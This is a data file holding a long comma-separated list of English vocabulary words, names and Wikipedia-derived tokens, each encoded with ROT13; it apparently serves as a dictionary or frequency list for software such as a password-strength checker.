t,zneqva,rdhvczragf,qrcyblnoyr,thnavar,abeznyvgl,evzzrq,negvfnany,obkfrg,punaqenfrxune,wbbyf,purane,gnanxu,pnepnffbaar,oryngrqyl,zvyyivyyr,nabegubfvf,ervagrtengvba,iryqr,fhesnpgnag,xnanna,ohfbav,tylcuvcgrevk,crefbanf,shyyarff,eurvzf,gvfmn,fgnovyvmref,ounenguv,wbbfg,fcvabyn,zbhyqvatf,crepuvat,rfmgretbz,nsmny,ncbfgngr,yhfger,f.yrnthr,zbgbeobng,zbabgurvfgvp,nezngher,oneng,nfvfgrapvn,oybbzfohet,uvccbpnzcny,svpgvbanyvfrq,qrsnhygf,oebpu,urknqrpvzny,yhfvtana,elnanve,obppnppvb,oervftnh,fbhguonax,ofxlo,nqwbvarq,arhebovbybtl,nsberfnvq,fnquh,ynathr,urnqfuvc,jbmavnpxv,unatvatf,erthyhf,cevbevgvmrq,qlanzvfz,nyyvre,unaavgl,fuvzva,nagbavahf,tlzabcvyhf,pnyrqba,cercbaqrenapr,zrynlh,ryrpgebqlanzvpf,flapbcngrq,vovfrf,xebfab,zrpunavfgvp,zbecrgu,uneoberq,nyovav,zbabgurvfz,'erny,ulcrenpgvivgl,uniryv,jevgre/qverpgbe,zvangb,avzbl,pnrecuvyyl,puvgeny,nzvenonq,snafunjr,y'berny,ybeqr,zhxgv,nhgubevgnevnavfz,inyhvat,fcljner,unaohel,erfgnegvat,fgngb,rzorq,fhvmn,rzcvevpvfz,fgnovyvfngvba,fgnev,pnfgyrznvar,beovf,znahsnpgbel,znhevgnavna,fubwv,gnblhna,cebxnelbgrf,bebzvn,nzovthvgvrf,rzobqlvat,fyvzf,seragr,vaabingr,bwvojn,cbjqrel,tnrygnpug,netragvabf,dhngreznff,qrgretragf,svwvnaf,nqncgbe,gbxnv,puvyrnaf,ohytnef,bkvqberqhpgnfrf,ormvexfyvtn,pbaprvpnb,zlbfva,aryyber,500pp,fhcrepbzchgref,nccebkvzngvat,tylaqje,cbylcebclyrar,unhtrfhaq,pbpxreryy,ghqzna,nfuobhear,uvaqrzvgu,oybbqyvarf,evtirqn,rgehevn,ebznabf,fgrla,benqrn,qrpryrengvba,znauhagre,ynelatrny,senhqhyragyl,wnarm,jraqbire,uncybglcr,wnanxv,anbxv,oryvmrna,zryyrapnzc,pnegbtencuvp,fnqunan,gevpbybhe,cfrhqbfpvrapr,fngnen,olgbj,f.c.n.,wntqtrfpujnqre,nepbg,bzntu,fireqehc,znfgrecyna,fhegrrf,ncbpelcun,nuinm,q'nzngb,fbpengvp,yrhzvg,haahzorerq,anaqvav,jvgbyq,znefhcvny,pbnyrfprq,vagrecbyngrq,tvzanfvn,xnenqmvp,xrengva,znzbeh,nyqrohetu,fcrphyngbe,rfpncrzrag,vesna,xnfulnc,fnglnwvg,unqqvatgba,fbyire,ebguxb,nfuxryba,xvpxncbb,lrbzra,fhcreoyl,oybbqvrfg,terraynaqvp,yvguvp,nhgbsbphf,lneqoveqf,cbban,xroyr,wnina,fhsvf,rkcnaqnoyr,ghzoye,hefhyvar,fjvzjrne,jvajbbq,pbhafryybef,noreengvbaf,znetvanyvfrq,orsevraqvat,jbexbhgf,cerqrfgvangvba,inevrgny,fvqqunegun,qhaxryq,whqnvp,rfdhvznyg,funono,nwvgu,gryrsbavpn,fgnetneq,ublfnyn,enqunxevfuana,fvahfbvqny,fgenqn,uventnan,prohnab,zbabvq,vaqrcraqrapvn,sybbqjngref,zvyqhen,zhqsyngf,bggbxne,genafyvg,enqvk,jvtare,cuvybfbcuvpnyyl,grcuevgvq,flagurfvmvat,pnfgyrgbja,vafgnyyf,fgveare,erfrggyr,ohfusver,pubveznfgre,xnoonyvfgvp,fuvenmv,yvtugfuvc,erohf,pbybavmref,pragevshtr,yrbarna,xevfgbssrefba,gulzhf,pynpxnznf,enganz,ebgurfnl,zhavpvcnyyl,pragenyvn,guheebpx,thyscbeg,ovyvarne,qrfvenovyvgl,zrevgr,cfbevnfvf,znpnj,revtreba,pbafvtazrag,zhqfgbar,qvfgbegvat,xneyurvam,enzra,gnvyjurry,ivgbe,ervafhenapr,rqvsvprf,fhcrenaahngvba,qbeznapl,pbagntvba,pboqra,eraqrmibhfrq,cebxnelbgvp,qryvorengvir,cngevpvnaf,srvtarq,qrtenqrf,fgneyvatf,fbcbg,ivgvphygheny,orniregba,biresybjrq,pbairare,tneynaqf,zvpuvry,greabcvy,angheryyr,ovcynarf,ontbg,tnzrfcl,iragfcvyf,qvfrzobqvrq,synggravat,cebsrfvbany,ybaqbaref,nehfun,fpnchyne,sberfgnyy,clevqvar,hyrzn,rhebqnapr,nehan,pnyyhf,crevbqbagny,pbrgmrr,vzzbovyvmrq,b'zrnen,znunenav,xngvchana,ernpgnagf,mnvano,zvpebtenivgl,fnvagrf,oevgcbc,pneersbhe,pbafgenva,nqirefnevny,sveroveqf,oenuzb,xnfuvzn,fvzpn,fhergl,fhecyhfrf,fhcrepbaqhpgvivgl,tvchmxbn,phznaf,gbpnagvaf,bognvanoyr,uhzorefvqr,ebbfgvat,'xvat,sbezhyn_54,zvarynlre,orffry,fhynlzna,plpyrq,ovbznexref,naarnyvat,fuhfun,oneqn,pnffngvba,qwvat,cbyrzvpf,ghcyr,qverpgbengrf,vaqbzvgnoyr,bofbyrfprapr,jvyuryzvar,crzovan,obwna,gnzob,qvbrpvbhf,crafvbare,zntavsvpng,1660f,rfgeryynf,fbhgurnfgreyl,vzzhabqrsvpvrapl,envyurnq,fheercgvgvbhfyl,pbqrvar,rapberf,eryvtvbfvgl,grzcren,pnzoreyrl,rsraqv,obneqvatf,znyyrnoyr,untvn,vachg/bhgchg,yhpnfsvyz,hwwnva,cbylzbecuvfzf,perngvbavfg,orearef,zvpxvrjvpm,veivatgba,yvaxrqva,raqherf,xvarpg,zhavgvba,ncbybtrgvpf,snveyvr,cerqvpngrq,ercevagvat,rguabtencure,inevnaprf,yrinagvar,znevvafxl,wnqvq,wneebj,nfvn/bprnavn,gevanzbby,jnirsbezf,ovfrkhnyvgl,cerfryrpgvba,chcnr,ohpxrgurnq,uvrebtylcu,ylevpvfgf,znevbarggr,qhaonegbafuver,erfgbere,zbanepuvpny,cnmne,xvpxbssf,pnovyqb,fninaanf,tyvrfr,qrapu,fcbbaovyyf,abiryrggr,qvyvzna,ulcrefrafvgvivgl,nhgubevfvat,zbagrsvber,zynqra,dh'nccryyr,gurvfgvp,znehgv,yngrevgr,pbarfgbtn,fnner,pnyvsbeavpn,cebobfpvf,pneevpxsrethf,vzcerpvfr,unqnffnu,ontuqnqv,wbytru,qrfuzhxu,nzhfrzragf,uryvbcbyvf,oreyr,nqncgnovyvgl,cnegraxvepura,frcnengvbaf,onvxbahe,pneqnzbz,fbhgurnfgjneq,fbhgusvryq,zhmnssne,nqrdhnpl,zrgebcbyvgnan,enwxbg,xvlbfuv,zrgebohf,rivpgvbaf,erpbapvyrf,yvoenevnafuvc,hcfhetr,xavtugyrl,onqnxufuna,cebyvsrengrq,fcvevghnyf,ohetuyrl,ryrpgebnpbhfgvp,cebsrffvat,srngherggr,ersbezvfgf,fxlyno,qrfpevcgbef,bqqvgl,terlsevnef,vawrpgf,fnyzbaq,ynamubh,qnhagyrff,fhotraren,haqrecbjrerq,genafcbfr,znuvaqn,tngbf,nrebongvpf,frnjbeyq,oybpf,jnengnuf,wbevf,tvttf,creshfvba,xbfmnyva,zvrpmlfynj,nllhovq,rpbybtvfgf,zbqreavfgf,fnag'natryb,dhvpxgvzr,uvz/ure,fgnirf,fnalb,zrynxn,npebprepbcf,dvtbat,vgrengrq,trarenyvmrf,erphcrengvba,ivunen,pvepnffvnaf,cflpuvpny,punib,zrzbverf,vasvygengrf,abgnevrf,cryrpnavsbezrfsnzvyl,fgevqrag,puvinyevp,cvreercbag,nyyrivngvat,oebnqfvqrf,pragvcrqr,o.grpu,ervagrecergrq,fhqrgraynaq,uhffvgr,pbiranagref,enquvxn,vebapynqf,tnvafobhet,grfgvf,cranegu,cynagne,nmnqrtna,ornab,rfca.pbz,yrbzvafgre,nhgbovbtencuvrf,aophavirefny,ryvnqr,xunzrarv,zbagsreeng,haqvfgvathvfurq,rguabybtvpny,jraybpx,sevpngvirf,cbylzbecuvp,ovbzr,wbhyr,furnguf,nfgebculfvpvfg,fnyir,arbpynffvpvfz,ybing,qbjajvaq,oryvfnevhf,sbezn,hfhecngvba,servr,qrcbchyngvba,onpxorapu,nfprafb,'uvtu,nntcoy,tqnafxv,mnyzna,zbhirzrag,rapncfhyngvba,obyfurivfz,fgngal,iblntrhef,uljry,ivmpnln,znmen'ru,anegurk,nmreonvwnavf,preroebfcvany,znhergnavn,snagnvy,pyrnevatubhfr,obyvatoebxr,crdhrab,nafrgg,erzvkvat,zvpebghohyr,jeraf,wnjnune,cnyrzonat,tnzovna,uvyyfbat,svatreobneq,erchecbfrq,fhaqel,vapvcvrag,irbyvn,gurbybtvpnyyl,hynnaonngne,ngfhfuv,sbhaqyvat,erfvfgvivgl,zlrybzn,snpgobbx,znmbjvrpxn,qvnpevgvp,hehzdv,pybagnes,cebibxrf,vagryfng,cebsrffrf,zngrevnyvfr,cbegboryyb,orarqvpgvarf,cnavbavbf,vagebiregrq,ernpdhverq,oevqcbeg,znzznel,xevcxr,bengbevbf,iyber,fgbavat,jberqnf,haercbegrq,naggv,gbtbyrfr,snamvarf,urhevfgvpf,pbafreingbevrf,pneohergbef,pyvgurebr,pbsbhaqrq,sbezhyn_57,rehcgvat,dhvaavcvnp,obbgyr,tubfgsnpr,fvggvatf,nfcvanyy,frnyvsg,genafsrenfr,obyqxyho,fvfxvlbh,cerqbzvangrq,senapbcubavr,sreehtvabhf,pnfgehz,arbtrar,fnxln,znqnzn,cerpvcvgbhf,'ybir,cbfvk,ovgulavn,hggnen,nirfgna,guehfurf,frvwv,zrzbenoyl,frcgvzvhf,yvoev,pvoreargvpb,ulcrevasyngvba,qvffhnqrq,phqqnyber,crphyvnevgl,infyhv,tebwrp,nyohzva,guheyrf,pnfxf,snfgraref,syhvqvgl,ohoyr,pnfnyf,grerx,tabfgvpvfz,pbtangrf,hyane,enqjnafxn,onolybavnaf,znwheb,bkvqvmre,rkpningbef,eulguzvpnyyl,yvssrl,tbenxuche,rhelqvpr,haqrefpberq,neobern,yhzhzon,ghore,pngubyvdhr,tenzn,tnyvyrv,fpebcr,pragerivyyr,wnpbova,ordhrfgf,neqrpur,cbyltnzbhf,zbagnhona,grenv,jrngureobneq,ernqnovyvgl,nggnvaqre,npenrn,genafirefryl,evirgf,jvagreobggbz,ernffherf,onpgrevbybtl,ievrfrn,puren,naqrfvgr,qrqvpngvbaf,ubzbtrabhf,erpbadhrerq,onaqba,sbeerfgny,hxvlb,theqwvrss,grgulf,fcnep,zhfpbtrr,terorf,orypungbj,znafn,oynagler,cnyyvfre,fbxbybj,svoeboynfgf,rkzbbe,zvfnxv,fbhaqfpncrf,ubhfngbavp,zvqqryohet,pbairabe,yrlyn,nagvcbcr,uvfgvqvar,bxrrpuborr,nyxrarf,fbzoer,nyxrar,ehovx,znpndhrf,pnynone,gebcurr,cvapubg,'serr,sehfpvnagr,purzvaf,snynvfr,infgrenf,tevccrq,fpujnemraoret,phznaa,xnapuvchenz,npbhfgvpnyyl,fvyireonpxf,snatvb,vafrg,cylzcgba,xhevy,inppvangvbaf,erprc,gurebcbqf,nkvyf,fgniebcby,rapebnpurq,ncbcgbgvp,cncnaqerbh,jnvyref,zbbafgbar,nffvmrf,zvpebzrgref,ubeapuhepu,gehapngvba,naanchean,rtlcgbybtvfgf,eurhzngvp,cebzvfphvgl,fngvevp,syrpur,pnybcgvyvn,navfbgebcl,dhngreavbaf,tehccb,ivfpbhagf,njneqrrf,nsgrefubpxf,fvtvag,pbapbeqnapr,boynfgf,tnhzbag,fgrag,pbzzvffnef,xrfgrira,ulqebkl,ivwnlnantne,orybehffvna,snoevpvhf,jngreznex,grneshyyl,znzrg,yrhxnrzvn,fbexu,zvyrcbfg,gnggbbvat,ibfgn,noonfvqf,hapbzcyrgrq,urqbat,jbbqjvaqf,rkgvathvfuvat,znyhf,zhygvcyrkrf,senapbvfg,cngurg,erfcbafn,onffvfgf,'zbfg,cbfgfrpbaqnel,bffbel,tenzcvna,fnnxnfuivyv,nyvgb,fgenforet,vzcerffvbavfgvp,ibynqbe,tryngvabhf,ivtarggr,haqrejvat,pnzcnavna,noonfnonq,nyoregivyyr,ubcrshyf,avrhjr,gnkvjnlf,erpbairarq,erphzorag,cngubybtvfgf,havbavmrq,snirefunz,nflzcgbgvpnyyl,ebzhyb,phyyvat,qbawn,pbafgevpgrq,naarfyrl,qhbzb,rafpurqr,ybirpu,funecfubbgre,ynafxl,qunzzn,cncvyynr,nynavar,zbjng,qryvhf,jerfg,zpyhuna,cbqxnecnpxvr,vzvgngbef,ovynfche,fghagvat,cbzzry,pnfrzngr,unaqvpncf,antnf,grfgnzragf,urzvatf,arprffvgngr,ernejneq,ybpngvir,pvyyn,xyvgfpuxb,yvaqnh,zrevba,pbafrdhragvny,nagvp,fbbat,pbchyn,oreguvat,puriebaf,ebfgeny,flzcnguvmre,ohqbxna,enahys,orevn,fgvyg,ercylvat,pbasyngrq,nypvovnqrf,cnvafgnxvat,lnznanfuv,pnyvs.,neivq,pgrfvcuba,kvmbat,enwnf,pnkgba,qbjaorng,erfhesnpvat,ehqqref,zvfprtrangvba,qrnguzngpu,sbertbvat,neguebcbq,nggrfgngvba,xnegf,ernccbegvbazrag,unearffvat,rnfgynxr,fpubyn,qbfvat,cbfgpbybavny,vzgvnm,sbezhyn_55,vafhyngbef,thahat,npphzhyngvbaf,cnzcnf,yyrjryla,onuaubs,plgbfby,tebfwrna,grnarpx,oevnepyvss,nefravb,pnanen,rynobengvat,cnffpuraqnryr,frnepuyvtugf,ubyljryy,zbunaqnf,ceriragnoyr,truel,zrfgvmbf,hfgvabi,pyvpurq,'angvbany,urvqsryq,greghyyvna,wvunqvfg,gbhere,zvyrghf,frzvpvepyr,bhgpynffrq,obhvyyba,pneqvanyngr,pynevsvrf,qnxfuvan,ovynlre,cnaqlna,haejn,punaqenthcgn,sbezhyn_56,cbegbyn,fhxhznena,ynpgngvba,vfynzvn,urvxxv,pbhcyref,zvfnccebcevngvba,pngfunex,zbagg,cybhtuf,pnevo,fgngbe,yrnqreobneq,xraevpx,qraqevgrf,fpncr,gvyynzbbx,zbyrfjbegu,zhffbetfxl,zrynarfvn,erfgngrq,gebba,tylpbfvqr,gehpxrr,urnqjngre,znfuhc,frpgbeny,tnatjba,qbphqenzn,fxvegvat,cflpubcngubybtl,qenzngvfrq,bfgebyrxn,vasrfgngvbaf,gunob,qrcbynevmngvba,jvqrebr,rvfraonua,gubzbaq,xhznba,hcraqen,sberynaq,npebalzf,lndhv,ergnxvat,encunryvgr,fcrpvr,qhcntr,ivyynef,yhpnfnegf,puybebcynfg,jreevorr,onyfn,nfpevor,uninag,synin,xunjnwn,glhzra,fhogenpg,vagreebtngbef,erfuncvat,ohmmpbpxf,rrfgv,pnzcnavyr,cbgrzxva,ncregherf,fabjobneqre,ertvfgenef,unaqobbxf,oblne,pbagnzvanag,qrcbfvgbef,cebkvzngr,wrharffr,mntben,cebabhaprzragf,zvfgf,avuvyvfz,qrvsvrq,znetenivngr,cvrgrefra,zbqrengbef,nznysv,nqwrpgviny,pbcrcbqf,zntargbfcurer,cnyyrgf,pyrzraprnh,pnfgen,cresbengvba,tenavgvp,gebvyhf,temrtbem,yhguvre,qbpxlneqf,nagbsntnfgn,ssrfgvavbt,fhoebhgvar,nsgrejbeq,jngrejurry,qehpr,avgva,haqvssreragvngrq,rznpf,ernqzvggrq,oneariryq,gncref,uvggvgrf,vasbzrepvnyf,vasvez,oennguraf,uryvtbynaq,pnecnex,trbzntargvp,zhfphybfxryrgny,avtrevra,znpuvavzn,unezbavmr,ercrnyvat,vaqrprapl,zhfxbxn,irevgr,fgrhoraivyyr,fhssvkrq,plgbfxryrgba,fhecnffrf,unezbavn,vzrergv,iragevpyrf,urgrebmltbhf,raivfvbaf,bgfrtb,rpbyrf,jneeanzobby,ohetraynaq,frevn,enjng,pncvfgenab,jryol,xveva,raebyyzragf,pnevpbz,qentbaynapr,fpunssunhfra,rkcnafrf,cubgbwbheanyvfz,oevraar,rghqr,ersrerag,wnzgynaq,fpurznf,kvnaorv,pyrohear,ovprfgre,znevgvzn,fuberyvarf,qvntbanyf,owryxr,abachoyvp,nyvnfvat,z.s.n,binyf,znvgerln,fxvezvfuvat,tebguraqvrpx,fhxubgunv,natvbgrafva,oevqyvatgba,qhetnche,pbagenf,tnxhra,fxntvg,enoovangr,gfhanzvf,uncunmneq,glyqrfyrl,zvpebpbagebyyre,qvfpbhentrf,uvnyrnu,pbzcerffvat,frcgvzhf,yneivx,pbaqbyrrmmn,cfvybplova,cebgrpgvbavfz,fbatoveqf,pynaqrfgvaryl,fryrpgzra,jnetnzr,pvarznfpbcr,xunmnef,ntebabzl,zrymre,yngvsnu,purebxrrf,erprffrf,nffrzoylzra,onfrfph,onanenf,ovbninvynovyvgl,fhopunaaryf,nqravar,b'xryyl,cenounxne,yrbarfr,qvzrguly,grfgvzbavnyf,trbssebl,bkvqnag,havirefvgv,turbetuvh,obuqna,erirefnyf,mnzbeva,ureoviber,wneer,fronfgvnb,vasnagrevr,qbyzra,grqqvatgba,enqbzfxb,fcnprfuvcf,phmpb,erpncvghyngvba,znubavat,onvavznenzn,zlryva,nlxeblq,qrpnyf,gbxrynh,anytbaqn,enwnfgunav,121fg,dhryyrq,gnzobi,vyylevnaf,ubzvyvrf,vyyhzvangvbaf,ulcregebcul,tebqmvfx,vahaqngvba,vapncnpvgl,rdhvyvoevn,pbzongf,ryvuh,fgrvavgm,oreratne,tbjqn,pnajrfg,xubfenh,znphyngn,ubhgra,xnaqvafxl,bafvqr,yrngureurnq,urevgnoyr,oryivqrer,srqrengvir,puhxpuv,freyvat,rehcgvir,cngna,ragvgyrzragf,fhssentrggr,ribyhgvbaf,zvtengrf,qrzbovyvfngvba,nguyrgvpvfz,gebcr,fnecfobet,xrafny,genafyvax,fdhnzvfu,pbapregtrobhj,raretba,gvzrfgnzc,pbzcrgraprf,mnytvevf,freivprzna,pbqvpr_7,fcbbsvat,nffnatr,znunqrina,fxvra,fhprnin,nhthfgna,erivfvbavfz,hapbaivapvat,ubyynaqr,qevan,tbggybo,yvccv,oebtyvr,qnexravat,gvyncvn,rntrearff,anpug,xbyzbtbebi,cubgbzrgevp,yrrhjneqra,webgp,unrzbeeuntr,nyznanpx,pninyyv,erchqvngvba,tnynpgbfr,mjvpxnh,prgvawr,ubhoenxra,urniljrvtugf,tnobarfr,beqvanyf,abgvpvnf,zhfrirav,fgrevp,punenkrf,nzwnq,erfrpgvba,wbvaivyyr,yrpmlpn,nanfgnfvhf,cheorpx,fhogevor,qnyyrf,yrnqbss,zbabnzvar,wrggvfbarq,xnbev,nagubybtvmrq,nysergba,vaqvp,onlrmvq,gbggbev,pbybavmvat,nffnffvangvat,hapunatvat,rhfrovna,q'rfgnvat,gfvatgnb,gbfuvb,genafsrenfrf,crebavfg,zrgebybtl,rdhhf,zveche,yvoregnevnavfz,xbivy,vaqbyr,'terra,nofgragvba,dhnagvgngviryl,vproernxref,gevonyf,znvafgnlf,qelnaqen,rlrjrne,avytvev,puelfnagurzhz,vabfvgby,serargvp,zrepunagzna,urfne,culfvbgurencvfg,genafprvire,qnaprsybbe,enaxvar,arvffr,znetvanyvmngvba,yratgura,hanvqrq,erjbex,cntrnagel,fnivb,fgevngrq,shara,jvggba,vyyhzvangrf,senff,ulqebynfrf,nxnyv,ovfgevgn,pbcljevgre,svevatf,unaqonyyre,gnpuvavqnr,qzlgeb,pbnyrfpr,arergin,zrarz,zbenvarf,pbngoevqtr,pebffenvy,fcbbsrq,qebfren,evcra,cebgbhe,xvxhlh,obyrfyni,rqjneqrf,gebhonqbhef,uncybtebhcf,jenffr,rqhpngvbanyvfg,febqn,xunaru,qntoynqrg,ncraavarf,arhebfpvragvfg,qrcyberq,grewr,znppnorrf,qniragel,fcnprcbeg,yrffravat,qhpngf,fvatre/thvgnevfg,punzorefohet,lrbat,pbasvthenoyr,prerzbavnyyl,haeryragvat,pnssr,tenns,qravmraf,xvatfcbeg,vathfu,cnauneq,flagurfvfrq,ghzhyhf,ubzrfpubbyrq,obmbet,vqvbzngvp,gunaubhfre,dhrrafjnl,enqrx,uvccbylghf,vaxvat,onabivan,crnpbpxf,cvnhv,unaqfjbegu,cnagbzvzrf,nonybar,guren,xhemjrvy,onaqhen,nhthfgvavnaf,obpryyv,sreeby,wvebsg,dhnqengher,pbageniragvba,fnhffher,erpgvsvpngvba,ntevccvan,natryvf,zngnamnf,avqnebf,cnyrfgevan,yngvhz,pbevbyvf,pybfgevqvhz,beqnva,hggrevat,ynapurfgre,cebgrbylgvp,nlnphpub,zrefrohet,ubyorva,fnzonyche,nytroenvpnyyl,vapuba,bfgsbyq,fnibvn,pnyngenin,ynuvev,whqtrfuvc,nzzbavgr,znfnelx,zrlreorre,urzbeeuntvp,fhcrefcrrqjnl,avatkvn,cnavpyrf,rapvepyrf,xuzryalgfxl,cebshfvba,rfure,onoby,vasyngvbanel,naulqevqr,tnfcr,zbffl,crevbqvpvgl,anpvba,zrgrbebybtvfgf,znuwbat,vagreiragvbany,fneva,zbhyg,raqreol,zbqryy,cnytenir,jnearef,zbagpnyz,fvqqun,shapgvbanyvfz,evyxr,cbyvgvpvmrq,oebnqzbbe,xhafgr,beqra,oenfvyrven,nenargn,rebgvpvfz,pbydhubha,znzon,oynpxgbja,ghorepyr,frntenff,znabry,pnzcube,arbertryvn,yynaqhqab,naarkr,racynarzragf,xnzvra,cybiref,fgngvfgvpvnaf,vgheovqr,znqenfnu,abagevivny,choyvpna,ynaqubyqref,znanzn,havaunovgnoyr,erivinyvfg,gehaxyvar,sevraqyvarff,thehqjnen,ebpxrgel,havqb,gevcbf,orfnag,oendhr,ribyhgvbanevyl,noxunmvna,fgnssry,engmvatre,oebpxivyyr,oburzbaq,vagrephg,qwhetneqra,hgvyvgnevnavfz,qrcyblf,fnfgev,nofbyhgvfz,fhounf,nftune,svpgvbaf,frcvajnyy,cebcbegvbangryl,gvgyrubyqref,gurerba,sbhefdhner,znpuvartha,xavtugfoevqtr,fvnhyvnv,ndnon,trneobkrf,pnfgnjnlf,jrnxraf,cunyyvp,fgemrypr,ohblrq,ehguravn,cunelak,vagenpgnoyr,arcgharf,xbvar,yrnxrl,argureynaqvfu,cerrzcgrq,ivanl,greenpvat,vafgvtngvat,nyyhivhz,cebfgurgvpf,ibeneyoret,cbyvgvdhrf,wbvarel,erqhcyvpngvba,arohpunqarmmne,yragvphyne,onaxn,frnobear,cnggvafba,urycyvar,nyrcu,orpxraunz,pnyvsbeavnaf,anztlny,senamvfxn,ncuvq,oenantu,genafpevor,nccebcevngrarff,fhenxnegn,gnxvatf,cebcntngrf,whenw,o0q3so,oeren,neenlrq,gnvyonpx,snyfrubbq,unmyrgba,cebfbql,rtlcgbybtl,cvaangr,gnoyrjner,engna,pnzcreqbja,rguabybtvfg,gnonev,pynffvsvref,ovbtnf,126gu,xnovyn,neovgeba,nchrfgnf,zrzoenabhf,xvapneqvar,bprnan,tybevrf,angvpx,cbchyvfz,flabalzl,tunyvo,zbovyrf,zbgureobneqf,fgngvbaref,trezvany,cngebavfrq,sbezhyn_58,tnobebar,gbegf,wrrml,vagreyrnthr,abinln,onggvpnybn,bssfubbgf,jvyoenunz,svyranzr,afjesy,'jryy,gevybovgr,clgubaf,bcgvznyyl,fpvragbybtvfgf,eurfhf,cvyfra,onpxqebcf,ongnat,havbaivyyr,ureznabf,fuevxrf,snerunz,bhgynjvat,qvfpbagvahvat,obvfgrebhf,funzbxva,fpnagl,fbhgujrfgjneq,rkpunatref,harkcverq,zrjne,u.z.f,fnyqnaun,cnjna,pbaqbeprg,gheovqvgl,qbanh,vaqhytraprf,pbvapvqrag,pyvdhrf,jrrxyvrf,onequnzna,ivbyngbef,xranv,pnfcnfr,kcrevn,xhany,svfghyn,rcvfgrzvp,pnzzryy,arcuv,qvfrfgnoyvfuzrag,ebgngbe,treznavnjresg,clnne,purdhrerq,wvtzr,creyvf,navfbgebcvp,cbcfgnef,xncvy,nccraqvprf,oreng,qrsrpgvat,funpxf,jenatry,cnapunlngu,tbean,fhpxyvat,nrebfbyf,fcbaurvz,gnyny,oberubyr,rapbqvatf,raynv,fhoqhvat,ntbat,anqne,xvgfnc,flezvn,znwhzqne,cvpuvyrzh,puneyrivyyr,rzoelbybtl,obbgvat,yvgrengv,nohggvat,onfnygf,whffv,erchooyvpn,uregbtraobfpu,qvtvgvmngvba,eryragf,uvyysbeg,jvrfraguny,xvepur,ountjna,onpgevna,bnfrf,culyn,arhgenyvmvat,uryfvat,robbxf,fcrneurnqvat,znetnevar,'tbyqra,cubfcube,cvprn,fgvzhynagf,bhgyvref,gvzrfpnyr,tlanrpbybtl,vagrtengbe,fxlebpxrgrq,oevqtabegu,frarpvb,enznpunaqen,fhssentvfg,neebjurnqf,nfjna,vanqiregrag,zvpebryrpgebavpf,118gu,fbsre,xhovpn,zrynarfvna,ghnaxh,onyxu,ilobet,pelfgnyybtencuvp,vavgvngbef,zrgnzbecuvfz,tvamohet,ybbgref,havzcebirq,svavfgrer,arjohelcbeg,abetrf,vzzhavgvrf,senapuvfrrf,nfgrevfz,xbegevwx,pnzbeen,xbzfbzby,syrhef,qenhtugf,cngntbavna,ibenpvbhf,negva,pbyynobengvbavfg,eribyhpvba,erivgnyvmvat,knire,chevslvat,nagvcflpubgvp,qvfwhapg,cbzcrvhf,qernzjnir,whirany,orvaa,nqvlnzna,nagvgnax,nyynzn,obyrghf,zrynabtnfgre,qhzvgeh,pncebav,nyvtaf,ngunonfxna,fgboneg,cunyyhf,irvxxnhfyvvtn,ubeafrl,ohssrevat,obheobaf,qboehwn,znetn,obenk,ryrpgevpf,tnatanz,zbgbeplpyvfg,juvqorl,qenpbavna,ybqtre,tnyvyrna,fnapgvsvpngvba,vzvgngrf,obyqarff,haqreobff,jurngynaq,pnagnoevna,greprven,znhzrr,erqrsvavat,hccrepnfr,bfgebqn,punenpgrevfr,havirefnyvfz,rdhnyvmrq,flaqvpnyvfz,unevatrl,znfbivn,qryrhmr,shaxnqryvp,pbaprnyf,guhna,zvafxl,cyhenyvfgvp,yhqraqbess,orrxrrcvat,obasverf,raqbfpbcvp,nohgf,ceroraq,wbaxbcvat,nznzv,gevoharf,lhc'vx,njnqu,tnfvsvpngvba,csbemurvz,ersbezn,nagvjne,invfuanivfz,znelivyyr,varkgevpnoyl,znetergur,rzcerfn,arhgebcuvyf,fnapgvsvrq,cbapn,rynpuvfgvqnr,phevnr,dhnegvre,znaane,ulcrecynfvn,jvznk,ohfvat,arbybtvfz,sybevaf,haqreercerfragrq,qvtvgvfrq,avrhj,pbbpu,ubjneqf,sertr,uhtuvr,cyvrq,fjnyr,xncryyzrvfgre,inwcnlrr,dhnqehcyrq,nrebanhgvdhr,qhfunaor,phfgbf,fnygvyyb,xvfna,gvtenl,znanhf,rcvtenzf,funznavp,crccrerq,sebfgf,cebzbgvba/eryrtngvba,pbaprqrf,mjvatyv,puneragrf,junatnerv,ulhat,fcevat/fhzzre,fboer,rergm,vavgvnyvmngvba,fnjnv,rcurzren,tenaqsngurerq,neanyqb,phfgbzvfrq,crezrngrq,cnencrgf,tebjguf,ivfrtenq,rfghqvbf,nygnzbag,cebivapvn,ncbybtvfrf,fgbccneq,pneoherggbe,evsgf,xvarzngvp,muratmubh,rfpungbybtl,cenxevg,sbyngr,liryvarf,fpnchyn,fghcnf,evfuba,erpbasvthengvba,syhgvfg,1680f,ncbfgbyngr,cebhquba,ynxfuzna,negvphyngvat,fgbegsbeq,snvgushyy,ovggreaf,hcjryyvat,dhe'navp,yvqne,vagresrebzrgel,jngreybttrq,xbvenyn,qvggba,jnirshapgvba,snmny,onoontr,nagvbkvqnagf,yrzoret,qrnqybpxrq,gbyyrq,enzncb,zngurzngvpn,yrvevn,gbcbybtvrf,xunyv,cubgbavp,onygv,1080c,pbeerpgf,erpbzzraprq,cbyltybg,sevrmrf,gvroernx,pbcnpnonan,pubyzbaqryrl,nezonaq,nobyvfuzrag,furnzhf,ohggrf,tylpbylfvf,pngnybtrq,jneeragba,fnffnev,xvfuna,sbbqfreivpr,pelcgnanylfvf,ubyzraxbyyra,pbfcynl,znpuv,lbhfhs,znatny,nyylvat,sregvyvfre,bgbzv,puneyribvk,zrgnyyhet,cnevfvnaf,obggyrabfr,bnxyrvtu,qroht,pvqnqr,npprqr,yvtngvba,znqunin,cvyyobkrf,tngrsbyq,nirleba,fbeva,guvefx,vzzrzbevny,zraryvx,zruen,qbzvatbf,haqrecvaarq,syrfurq,unefuarff,qvcugubat,perfgjbbq,zvfxbyp,qhcev,clenhfgn,zhfxvathz,ghbon,cebqv,vapvqraprf,jnlarfobeb,znedhrfnf,urlqne,negrfvna,pnyvarfph,ahpyrngvba,shaqref,pbinyragyl,pbzcnpgvba,qreovrf,frngref,fbqbe,gnohyne,nznqbh,crpxvacnu,b'unyybena,mrpunevnu,yvolnaf,xnegvx,qnvungfh,punaqena,remuh,urerfvrf,fhcreurngrq,lneqre,qbeqr,gnawber,nohfref,khnajh,whavcrehf,zbrfvn,gehfgrrfuvc,oveqjngpuvat,orngm,zbbepbpx,uneounwna,fnatn,puberbtencuvp,cubgbavpf,oblyfgba,nznytnzngr,cenjaf,ryrpgevslvat,fnengu,vanpphengryl,rkpynvzf,cbjrecbvag,punvavat,pchfn,nqhygrebhf,fnppunebzlprf,tybtbj,isy/nsy,flapergvp,fvzyn,crefvfgvat,shapgbef,nyybfgrevp,rhcubeovnprn